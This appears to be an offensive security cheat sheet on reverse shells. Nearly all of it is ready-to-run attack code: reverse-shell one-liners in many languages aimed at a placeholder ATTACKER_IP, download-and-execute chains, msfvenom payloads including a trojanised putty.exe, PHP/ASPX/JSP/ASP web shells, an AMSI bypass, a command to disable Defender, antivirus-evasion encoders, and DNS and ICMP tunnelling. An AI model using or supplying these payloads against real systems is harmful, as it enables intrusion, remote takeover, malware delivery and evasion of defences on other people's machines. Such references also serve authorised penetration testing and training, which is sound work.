Reverse Shells

nc -lvnp 4444
# -l listen  -v verbose  -n no-dns  -p port

nc -lvnp 4444 -k          # ncat: keep alive (re-listen)
ncat -lvnp 4444 --ssl     # encrypted shell (SSL)

rlwrap nc -lvnp 4444
# Best choice for Windows shells where TTY upgrade isn't possible
sudo apt install rlwrap

pip3 install pwncat-cs
pwncat-cs -lp 4444

# Auto-upgrades TTY, built-in file transfer
# Ctrl+D    = drop to local shell
# upload /local/file /remote/path
# download /remote/file /local/path

# Most common
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# Through sh
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

# UDP
bash -i >& /dev/udp/ATTACKER_IP/4444 0>&1

# Base64 encoded (WAF bypass)
# 1. On attacker: echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" | base64
# 2. On target: echo <BASE64_STRING> | base64 -d | bash

# Traditional nc (-e flag)
nc -e /bin/bash ATTACKER_IP 4444
nc -e /bin/sh ATTACKER_IP 4444

# OpenBSD / BusyBox nc (no -e flag)
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 >/tmp/f

# Works on ALL Linux/Unix — no special binary needed
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f

# Python 3
python3 -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("ATTACKER_IP",4444));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
import pty;pty.spawn("/bin/bash")'

# Short version
python3 -c 'import os,pty,socket;s=socket.socket();
s.connect(("ATTACKER_IP",4444));
[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'

# Python 2
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("ATTACKER_IP",4444));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'

php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("ATTACKER_IP",4444);
$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'

perl -e 'use Socket;
$i="ATTACKER_IP";$p=4444;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){
open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

ruby -rsocket -e'f=TCPSocket.open("ATTACKER_IP",4444).to_i;
exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

# Attacker listener (special):
socat file:`tty`,raw,echo=0 tcp-listen:4444

# Target connects:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444

# → Instantly fully interactive — no upgrade steps needed!

# If socat not on target, upload static binary:
wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat
chmod +x /tmp/socat
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444

node -e 'var net=require("net"),cp=require("child_process"),
sh=cp.spawn("/bin/sh",[]);
var c=new net.Socket();
c.connect(4444,"ATTACKER_IP",function(){
c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c);});'

echo 'package main;import"os/exec";import"net";
func main(){c,_:=net.Dial("tcp","ATTACKER_IP:4444");
cmd:=exec.Command("/bin/sh");
cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/r.go
go run /tmp/r.go

awk 'BEGIN {s="/inet/tcp/0/ATTACKER_IP/4444";
while(42){do{printf "shell>" |& s;s |& getline c;
if(c){while((c |& getline)>0)print $0 |& s;close(c);}
}while(c!="exit")close(s);}}' /dev/null

# Attacker: host payload
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > shell.sh
python3 -m http.server 8080

# Target: download and run
curl http://ATTACKER_IP:8080/shell.sh | bash
wget -qO- http://ATTACKER_IP:8080/shell.sh | bash

powershell -nop -c "
$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
$sendback = (iex $data 2>&1 | Out-String);
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()"

# Step 1: Encode payload on attacker (PowerShell)
$payload = '<FULL_PS_PAYLOAD_HERE>'
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($payload))

# Step 2: Run on target
powershell -enc <BASE64_STRING>

# NOTE: Must use Unicode (UTF-16LE) encoding — NOT UTF8!

# WebClient
powershell -nop -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8080/shell.ps1')"

# Invoke-WebRequest
powershell -nop -ep bypass -c "IEX(iwr 'http://ATTACKER_IP:8080/shell.ps1' -UseBasicParsing)"

# Nishang (popular framework)
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8080/Invoke-PowerShellTcp.ps1')
Invoke-PowerShellTcp -Reverse -IPAddress ATTACKER_IP -Port 4444

# Attacker listener:
stty raw -echo; (stty size; cat) | nc -lvnp 4444

# Target:
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing)
Invoke-ConPtyShell ATTACKER_IP 4444
# Fully interactive Windows shell — tab, arrows, Ctrl+C all work!

:: Upload nc.exe first, then:
nc.exe -e cmd.exe ATTACKER_IP 4444
nc.exe -nv -e powershell.exe ATTACKER_IP 4444

mshta http://ATTACKER_IP:8080/shell.hta

<!-- shell.hta hosted on attacker -->
<html><head>
<script language="VBScript">
Set w = CreateObject("Wscript.Shell")
w.Run "powershell -nop -ep bypass -c ""IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8080/shell.ps1')"""
</script></head></html>

certutil -urlcache -split -f http://ATTACKER_IP:8080/nc.exe C:\Windows\Temp\nc.exe
C:\Windows\Temp\nc.exe -e cmd.exe ATTACKER_IP 4444

regsvr32 /s /n /u /i:http://ATTACKER_IP:8080/payload.sct scrobj.dll
# Bypasses AppLocker — executes scriptlet via scrobj.dll

# Local
wmic process call create "cmd.exe /c powershell -enc <B64>"

# Remote (needs creds)
wmic /node:TARGET /user:DOMAIN\user /password:pass process call create "powershell -enc <B64>"

# Generate (on attacker):
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f msi > shell.msi

msiexec /quiet /i \\ATTACKER_IP\share\shell.msi
msiexec /q /i http://ATTACKER_IP:8080/shell.msi

' shell.vbs
Set oWS = WScript.CreateObject("WScript.Shell")
oWS.Run "powershell -nop -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8080/shell.ps1')", 0, False

cscript shell.vbs
wscript shell.vbs

# Upload socat.exe first
socat.exe TCP:ATTACKER_IP:4444 EXEC:cmd.exe,pipes
socat.exe TCP:ATTACKER_IP:4444 EXEC:powershell.exe,pipes

# ELF binary (x64)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f elf > shell.elf
chmod +x shell.elf && ./shell.elf

# ELF Meterpreter
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f elf > meter.elf

# Staged vs Stageless (naming convention)
# linux/x64/shell/reverse_tcp   = STAGED  (needs multi/handler C2)
# linux/x64/shell_reverse_tcp   = STAGELESS (direct connection)

# Python script
msfvenom -p cmd/unix/reverse_python LHOST=ATTACKER_IP LPORT=4444 -f raw > shell.py

# Bash script
msfvenom -p cmd/unix/reverse_bash LHOST=ATTACKER_IP LPORT=4444 -f raw > shell.sh

# x86 ELF
msfvenom -p linux/x86/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f elf > shell_x86.elf

# Raw shellcode (for injection / BOF)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f c > shellcode.c
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f py > shellcode.py

# Bad char removal (for BOF)
msfvenom -p linux/x86/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -b "\x00\x0a\x0d" -f c

# EXE (x64)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe > shell.exe

# EXE Meterpreter (x64)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe > meter.exe

# HTTPS Meterpreter (encrypted C2 — evades IDS!)
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=ATTACKER_IP LPORT=443 -f exe > meter_https.exe

# DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f dll > shell.dll

# MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f msi > shell.msi

# PowerShell script
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f psh-cmd > shell.ps1

# VBA macro (embed in Office document!)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f vba > macro.vba

# HTA
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f hta-psh > shell.hta

# x86 (32-bit targets)
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe > shell_x86.exe

# PHP
msfvenom -p php/reverse_php LHOST=ATTACKER_IP LPORT=4444 -f raw > shell.php
msfvenom -p php/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f raw > meter.php

# JSP (Tomcat / JBoss)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f raw > shell.jsp

# WAR (Tomcat deploy)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f war > shell.war

# ASPX (.NET / IIS)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f aspx > shell.aspx

# ASP (old IIS)
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f asp > shell.asp

# Perl
msfvenom -p cmd/unix/reverse_perl LHOST=ATTACKER_IP LPORT=4444 -f raw > shell.pl

# Shikata Ga Nai (x86 XOR — most common)
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 \
    -e x86/shikata_ga_nai -i 10 -f exe > sgn.exe

# x64 XOR encoder
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 \
    -e x64/xor_dynamic -i 5 -f exe > xor.exe

# Inject into legit template (runs putty + shell)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 \
    -x /usr/share/windows-resources/putty.exe \
    -k -f exe > putty_trojan.exe
# -x = template EXE  |  -k = keep original behaviour

<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<?php passthru($_GET['cmd']); ?>
<?php eval($_POST['cmd']); ?>

// Full-featured
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } ?>

// Usage:
// http://target.com/shell.php?cmd=id
// http://target.com/shell.php?cmd=whoami
// http://target.com/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/IP/4444+0>%261'

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
    protected void Page_Load(object sender, EventArgs e) {
        string cmd = Request.QueryString["cmd"];
        if (cmd != null) {
            Process p = new Process();
            p.StartInfo.FileName = "cmd.exe";
            p.StartInfo.Arguments = "/c " + cmd;
            p.StartInfo.RedirectStandardOutput = true;
            p.StartInfo.UseShellExecute = false;
            p.Start();
            Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
        }
    }
</script>
// Usage: http://target.com/shell.aspx?cmd=whoami

<%@ page import="java.util.*,java.io.*" %>
<%
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        out.println("<pre>");
        Process proc = Runtime.getRuntime().exec(cmd);
        InputStream in = proc.getInputStream();
        while(in.available() > 0) out.print((char)in.read());
        out.println("</pre>");
    }
%>

<%
Dim oS: Set oS = Server.CreateObject("WSCRIPT.SHELL")
Dim cmd: cmd = Request.Form("cmd")
If cmd <> "" Then
    Response.Write "<pre>" & oS.Exec(cmd).StdOut.ReadAll() & "</pre>"
End If
%>

# Weevely (PHP — steganographic, looks like normal PHP)
weevely generate password123 shell.php
weevely http://target.com/shell.php password123
weevely http://target.com/shell.php password123 -c "id"

# p0wny-shell (PHP — great UI, terminal in browser)
# https://github.com/flozz/p0wny-shell

# b374k (PHP — file manager + terminal, password protected)
# https://github.com/b374k/b374k

# Laudanum (multi-language collection, pre-installed on Kali)
ls /usr/share/laudanum/

# Step 1: Spawn PTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
# OR python2:
python -c 'import pty;pty.spawn("/bin/bash")'
# OR (no python):
script -qc /bin/bash /dev/null

# Step 2: Background
Ctrl+Z

# Step 3: Fix attacker terminal
stty raw -echo
fg

# Step 4: Fix size and type
export TERM=xterm
export SHELL=bash
stty rows 40 columns 180

# Attacker:
socat file:`tty`,raw,echo=0 tcp-listen:4444

# Target:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444
# → Instantly fully interactive!

script -qc /bin/bash /dev/null
# Then follow Steps 2–4 from Method 1

# Shell dies on Ctrl+C
# → Must fully upgrade TTY before using Ctrl+C

# No arrow keys / history
# → Use rlwrap on attacker: rlwrap nc -lvnp 4444
# → OR: fully upgrade TTY

# Screen too small
# → On attacker: stty size → note rows cols
# → In shell: stty rows 50 columns 220

# No python available
which python python2 python3 2>/dev/null
ls /usr/bin/python*
# → Fallback: script -qc /bin/bash /dev/null
# → Or: busybox sh

# Inside docker (no python, no script)
# → /usr/bin/busybox sh
# → OR: get a socat binary via wget

rlwrap nc -lvnp 4444
# Arrow keys + command history now work in Windows shell

# Port 5985/TCP must be open
evil-winrm -i TARGET_IP -u Administrator -p Password123
evil-winrm -i TARGET_IP -u Administrator -H <NTLM_HASH>
# Fully interactive PowerShell + upload/download built in!

:: Identity
whoami
whoami /all               :: All privileges + groups

:: System
systeminfo
hostname

:: Network
ipconfig /all
netstat -ano              :: Active connections + PIDs
route print

:: Users
net user
net localgroup administrators

:: Processes
tasklist /v

:: Disable Defender (needs admin)
powershell -c "Set-MpPreference -DisableRealtimeMonitoring $true"

:: Check AV
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName

:: Execution Policy bypass
powershell -ep bypass
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser

# Attacker (pick one)
python3 -m http.server 8080
python2 -m SimpleHTTPServer 8080
php -S 0.0.0.0:8080
ruby -run -e httpd . -p 8080

# Target
wget http://ATTACKER_IP:8080/shell.elf -O /tmp/shell
curl http://ATTACKER_IP:8080/shell.elf -o /tmp/shell
chmod +x /tmp/shell && /tmp/shell

# PowerShell
(New-Object Net.WebClient).DownloadFile('http://ATTACKER_IP:8080/shell.exe','C:\Windows\Temp\shell.exe')
Invoke-WebRequest http://ATTACKER_IP:8080/shell.exe -OutFile C:\Windows\Temp\shell.exe
iwr http://ATTACKER_IP:8080/shell.exe -OutFile C:\Windows\Temp\shell.exe

# Certutil
certutil -urlcache -split -f http://ATTACKER_IP:8080/shell.exe C:\Windows\Temp\shell.exe

# BitsAdmin
bitsadmin /transfer myJob http://ATTACKER_IP:8080/shell.exe C:\Windows\Temp\shell.exe

# SMB (no HTTP needed — run directly without copying!)
# Attacker: sudo impacket-smbserver share . -smb2support
# Target:
copy \\ATTACKER_IP\share\shell.exe C:\Windows\Temp\
\\ATTACKER_IP\share\shell.exe

# Linux encode
base64 -w 0 shell.elf

# Linux decode on target
echo "<B64_STRING>" | base64 -d > /tmp/shell
chmod +x /tmp/shell

# Windows decode (PowerShell)
[IO.File]::WriteAllBytes("C:\shell.exe",[Convert]::FromBase64String("<B64>"))

# Windows encode/decode (certutil)
certutil -encode shell.exe shell.b64     # Attacker
certutil -decode shell.b64 shell.exe    # Target

# AMSI = AntiMalware Scan Interface
# Scans all PowerShell scripts before execution

# Method 1 — Patch amsiInitFailed
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Method 2 — String split to evade static signature
$a=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUtils')
$b=$a.GetField('amsiInitFailed','NonPublic,Static')
$b.SetValue($null,$true)

# After bypass — load payload:
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8080/shell.ps1')

Set-ExecutionPolicy Bypass -Scope Process -Force
powershell -ep bypass -c "..."
Get-Content script.ps1 | Invoke-Expression
powershell -enc <BASE64_PAYLOAD>

# Shikata Ga Nai (x86)
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=4444 \
    -e x86/shikata_ga_nai -i 10 -f exe > sgn.exe

# Inject into legit template
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 \
    -x /usr/share/windows-resources/putty.exe -k -f exe > legit.exe

# Veil Framework (automated AV evasion)
sudo apt install veil
veil
# → Evasion → python/shellcode_inject/aes_encrypted → generate

# Shellter (dynamic PE injector — very effective)
sudo apt install shellter
shellter
# Auto mode → select PE → inject → done

# Use ports 80 or 443 (usually allowed outbound)
nc -lvnp 80
nc -lvnp 443

# HTTPS Meterpreter (encrypted — bypasses DPI/IDS!)
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=IP LPORT=443 -f exe

# DNS shell (tunnels through DNS — passes almost all firewalls!)
# dnscat2 → ruby dnscat2.rb (attacker) / dnscat2.exe --host IP (target)

# ICMP shell
# icmpsh → python icmpsh_m.py ATTACKER TARGET / icmpsh.exe -t IP

# HTTP tunnel (shell through HTTP proxy)
# Tools: tunna, reGeorg